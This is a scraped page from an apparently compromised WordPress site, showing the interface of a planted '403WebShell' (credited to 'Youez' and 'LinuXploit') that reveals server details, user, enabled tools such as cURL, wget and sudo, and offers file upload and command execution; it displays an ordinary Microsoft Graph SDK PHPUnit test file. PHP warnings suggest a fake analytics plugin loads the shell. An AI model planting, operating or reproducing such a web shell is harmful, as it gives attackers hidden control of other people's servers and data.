Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560
[2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85
[3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50
[4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13
[5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
403WebShell
403Webshell
Server IP : 94.177.8.99  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/hopeinstoughton_www/vendor/microsoft/microsoft-graph/tests/Model/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/hopeinstoughton_www/vendor/microsoft/microsoft-graph/tests/Model/ModelTest.php
<?php
use PHPUnit\Framework\TestCase;
use Microsoft\Graph\Model;
use Microsoft\Graph\Core\Enum;

class ModelTest extends TestCase
{
    private $entities;
    private $enums;
    private $complexTypes;

    public function setUp(): void
    {
        $this->entities = array();
        $this->enums = array();
        $this->complexTypes = array();

        $dir = new DirectoryIterator('src/Model');
        foreach ($dir as $fileInfo)
        {
            $filename = $fileInfo->getFileName();
            $classname = explode(".", $filename)[0];
            if ($classname != null) {
                $class = "Microsoft\\Graph\\Model\\" . explode(".", $fileInfo->getFileName())[0];
                switch(get_parent_class($class)) {
                    case Model\Entity::class:
                        $this->entities[] = $class;
                        break;
                    case Enum::class:
                        $this->enums[] = $class;
                        break;
                    default:
                        $this->complexTypes[] = $class;
                        break;
                }
            }
        }
    }

    public function testBaseEntity()
    {
        $entity = new Model\Entity();
        $this->assertInstanceOf(Model\Entity::class, $entity);
    }

    public function testEntity()
    {
        foreach ($this->entities as $entityClass) {
            $entity = new $entityClass();
            $this->assertInstanceOf($entityClass, $entity);
            $this->assertTrue(is_array($entity->getProperties()));
        }
    }

    public function testComplexTypes()
    {
        foreach ($this->complexTypes as $complexTypeClass) {
            $complexEntity = new $complexTypeClass();
            $this->assertInstanceOf($complexTypeClass, $complexEntity);
        }
    }

    public function testInvalidEnum()
    {
        $this->expectException(Microsoft\Graph\Exception\GraphException::class);

        $enum = new TestEnum("test");
    }

    public function testValidEnum()
    {
        $enum = new TestEnum("0");

        $this->assertFalse($enum->is("1"));
        $this->assertEquals("0", $enum->value());
    }

    public function testSetObject()
    {
        $drive = new Model\Drive();
        $drive->setRoot(new Model\DriveItem());
        $results = $drive->getRoot();
        $results2 = $drive->getRoot();
        $this->assertInstanceOf(Model\DriveItem::class, $results);
        $this->assertInstanceOf(Model\DriveItem::class, $results2);
        $this->assertEquals($results, $results2);
    }
}

class TestEnum extends Enum {

    const TEST = "0";
    const TEST1 = "1";
}

Youez - 2016 - github.com/yon3zu
LinuXploit